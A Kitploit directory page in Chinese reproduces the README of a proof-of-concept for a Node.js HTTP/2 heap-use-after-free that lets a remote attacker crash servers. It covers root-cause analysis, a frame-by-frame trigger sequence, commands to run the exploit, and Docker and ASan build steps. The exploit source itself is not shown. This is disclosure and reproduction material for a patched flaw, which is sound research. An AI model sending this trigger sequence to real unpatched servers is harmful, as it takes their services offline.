Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-56848 — CVE-2026-56848 的漏洞利用 PoC,针对 Node.js HTTP/2 中可导致远程未认证 DoS 的堆释放后使用(heap-use-after-free)漏洞。包含原始套接字触发器、ASan 构建说明和基于 Docker 的目标环境。 | Kitploit
工具/GitHubGitHub/open-flaw/cve-2026-56848
漏洞分析动态代码分析 (DAST)漏洞利用Web安全网络安全
GitHubopen-flaw/cve-2026-56848

CVE-2026-56848

CVE-2026-56848 的漏洞利用 PoC,针对 Node.js HTTP/2 中可导致远程未认证 DoS 的堆释放后使用(heap-use-after-free)漏洞。包含原始套接字触发器、ASan 构建说明和基于 Docker 的目标环境。

查看仓库
411个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-56848

NVD 描述

Node.js HTTP/2 处理中的一个缺陷允许在 nghttp2_session_mem_recv() 执行期间重入调用 nghttp2_session_mem_send(),从而导致堆释放后使用(heap-use-after-free)。

此漏洞影响 Node.js 26.x、24.x 和 22.x。

(注意:描述中提到的版本仅适用于上游 nodejs 包,不适用于 Alpine 分发的 nodejs 包。

Release lineVulnerableFixed
22.x (LTS)≤ 22.23.122.23.2
24.x (LTS)≤ 24.18.024.18.1
26.x≤ 26.5.026.5.1
  • 严重性: 高(CVSS 7.5,AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — 通过堆损坏实现的远程、未认证 DoS)
  • 报告者: hahahkim(HackerOne #3833629)
  • 修复者: Matteo Collina (mcollina)
  • 修复提交(v22): daa6d25e3dce — “http2: defer rst stream while in scope”(nodejs-private/node-private#921)
  • 披露时间: Node.js 安全发布,2026-07-29

根本原因

在 src/node_http2.cc 中的 Http2Stream::SubmitRstStream() 会在将 RST_STREAM 加入队列前强制清除待发送的出站数据:```cpp void Http2Stream::SubmitRstStream(const uint32_t code) { CHECK(!this->is_destroyed()); code_ = code;

// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }

// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }

FlushRstStream(); }

`SendPendingData()` 调用 `nghttp2_session_mem_send()`([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970))。它唯一的重入保护是 `is_sending()`,防止的是*发送过程中再次发送*(已有写操作在途)——**而不是接收过程中再次发送**。当 `SubmitRstStream()` 从 `nghttp2_session_mem_recv()` 回调链内部(“在作用域内”)运行时,清理操作会重入地执行 `mem_send()`。

重入的 `mem_send()` 会刷新那些发送侧处理会拆除流的帧(`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → 释放 C++ `Http2Stream`)。被释放的流仍被进行中的接收操作所引用:`SubmitRstStream()` 本身会在已释放的 `this` 上继续执行(其末尾的 `FlushRstStream()` 读取 `is_destroyed()`),而外层的 `mem_recv()` 会继续遍历已关闭流的帧/头状态 → **堆释放后使用**。

### 触发链(全部发生在同一次 `nghttp2_session_mem_recv()` 调用内)

1. 攻击者在一个 TCP 段中发送 `GOAWAY(lastStreamID=0, NO_ERROR)`,紧接着发送针对新流(3、5、7、…)的 `HEADERS` 帧。
2. 服务器的 `mem_recv()` 处理 GOAWAY → JS `session.close()` → `session.closed = true`,且一个出站 GOAWAY 被**提交但尚未发送**。
3. nghttp2 只在 GOAWAY 真正*发送*后才拒绝新的入站流(`session_allow_incoming_new_stream()` 检查的是 `TERM_ON_SEND | SENT`,而不是 `SUBMITTED`),因此 `HEADERS(3)` 仍会被接受。
4. JS `onSessionHeaders()` 在已关闭的会话上看到新流并予以拒绝:`handle.rstStream(NGHTTP2_REFUSED_STREAM)`(lib/internal/http2/core.js)。
5. C++ `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` 在作用域内(`mem_recv` 内部)运行,`REFUSED_STREAM ≠ CANCEL` → 落入 `SendPendingData()` → **重入的 `nghttp2_session_mem_send()`**。
6. 重入的发送刷新出站 GOAWAY;nghttp2 发送侧的 GOAWAY 处理会关闭 id > 1 的入站流(`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`),触发 `on_stream_close` → `Http2Stream::Destroy()` 释放流 3 对应的 C++ 流对象。
7. 执行回退到已释放对象上的 `SubmitRstStream()`(`FlushRstStream()`),外层 `mem_recv()` 在已损坏的会话/流状态上恢复执行 → UAF。

来自易受攻击服务器上 `NODE_DEBUG_NATIVE=http2` 的证据(一次 86 字节读取):```
receiving 86 bytes, offset 0
complete frame received: type: 7          ← GOAWAY
submitting goaway                          ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3             ← still accepted (only SUBMITTED)
handle headers frame for stream 3          ← JS: session.closed → refuse
sending rst_stream with code 7             ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data                       ← RE-ENTRANT mem_send()
stream 3 closed with code: 7               ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream     ← Http2Stream freed mid-recv

行为特征

在线缆级别的输出在存在漏洞的构建和已修补的构建上是相同的(两者最终都只发送出站 GOAWAY——在存在漏洞的构建上,RST 是针对已关闭的流提交的;在已修补的构建上,nghttp2 在 GOAWAY 先发出后会丢弃已排队的 RST)。差异是内部的,可通过 NODE_DEBUG_NATIVE=http2 观察:

  • 存在漏洞: sending pending data 出现在 sending rst_stream with code 7 和 stream 3 closed with code: 7 之间——可重入的 mem_send() 在接收过程中运行,并在 mem_recv() 仍在进行时关闭/销毁流 3(在 ASan 下崩溃)。
  • 已修补: 两者之间没有 sending pending data——RST 仅被排队;流 3 仅在正常接收后刷新期间关闭。

PoC```

server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger

### 快速运行```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000                       # NODE_BIN=/path/to/node for a specific binary

# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200

./bin/node(下面使用的本地 ASan 构建)未在 git 中跟踪 — 请按 “构建带有 ASan 插桩的易受攻击的 Node.js”下的说明构建它, 或使用 Docker 方式。

该漏洞利用程序会报告每个连接的状态;第一次连接后就出现 SKIPPED (no handshake) 表示目标已经因攻击而崩溃。

Docker

Dockerfile 会在容器内构建一个带有 ASan 的易受攻击的 v22.23.1 目标(无需本地工具链 — 只需 Docker 守护进程):```bash docker build -t cve-2026-56848 . docker run --rm -p 8000:8000 --name cve-target cve-2026-56848

from the host, in another terminal:

you could reuse ./bin/node

node exploit.js --port 8000 --iterations 10

inspect the crash (ASan report) and exit code:

docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed

提示:如果你已经在其他地方构建了带有 ASan 检测的 `node` 二进制文件,可以跳过冗长的编译并直接打包:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
  bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
    && cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
  --change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
  --change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
  cve-img cve-2026-56848:verified

已针对容器化目标验证:首次攻击连接会产生 ERROR: AddressSanitizer: heap-use-after-free ... ABORTING(出现在 docker logs 中), 容器随即退出(在 linux/arm64 上为 133)——与本机 ASan 运行时的 UAF 相同。

使用官方镜像的普通(非 ASan)变体,用于在不进行自定义构建的情况下进行反复攻击测试:```bash docker run --rm -p 8000:8000 -e HOST=0.0.0.0 -v "$PWD/server.js":/server.js
node:22.23.1-alpine node /server.js 8000

注意:如果 ASan 在容器内因 shadow-memory 范围错误而无法启动(在某些 `vm.mmap_rnd_bits` 较高的 ARM64 内核上会出现),请在 Docker 主机上降低熵值:`sysctl vm.mmap_rnd_bits=28`。

### 构建一个经 ASan 插桩的易受攻击的 Node.js```bash
# Linux (officially supported):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && ./configure --debug --enable-asan && make -j$(nproc)

# macOS (unofficial but works with clang):
git clone --depth 1 --branch v22.23.1 https://github.com/nodejs/node
cd node && CC=clang CXX=clang++ \
  CFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  CXXFLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  LDFLAGS="-fsanitize=address" \
  ./configure --debug --ninja && ninja -C out/Debug node

ASan 构建能够确定性地复现堆释放后使用(heap-use-after-free)问题(通常在前几次连接时)。普通 release 构建通常不会崩溃,因为被释放的内存块不会立即被重用;持续攻击可以提高概率,但 ASan 才是演示此内存破坏的可靠方式。

已验证结果

目标结果
v22.23.1 + ASan(存在漏洞)在首次攻击连接时崩溃:heap-use-after-free → SIGABRT,runner 退出码 0
v22.23.2(已修补)能够承受所有连接,runner 退出码 1

ASan 报告(摘录,v22.23.1 macOS arm64 构建):``` ERROR: AddressSanitizer: heap-use-after-free ... READ of size 1 at 0x60d000003cdc thread T0 #0 session_end_stream_headers_received nghttp2_session.c:3711 #1 session_after_header_block_received nghttp2_session.c:3824 #2 nghttp2_session_mem_recv2 nghttp2_session.c:6506 #3 nghttp2_session_mem_recv nghttp2_session.c:5421 #4 node::http2::Http2Session::ConsumeHTTP2Data() node_http2.cc:959

下载工具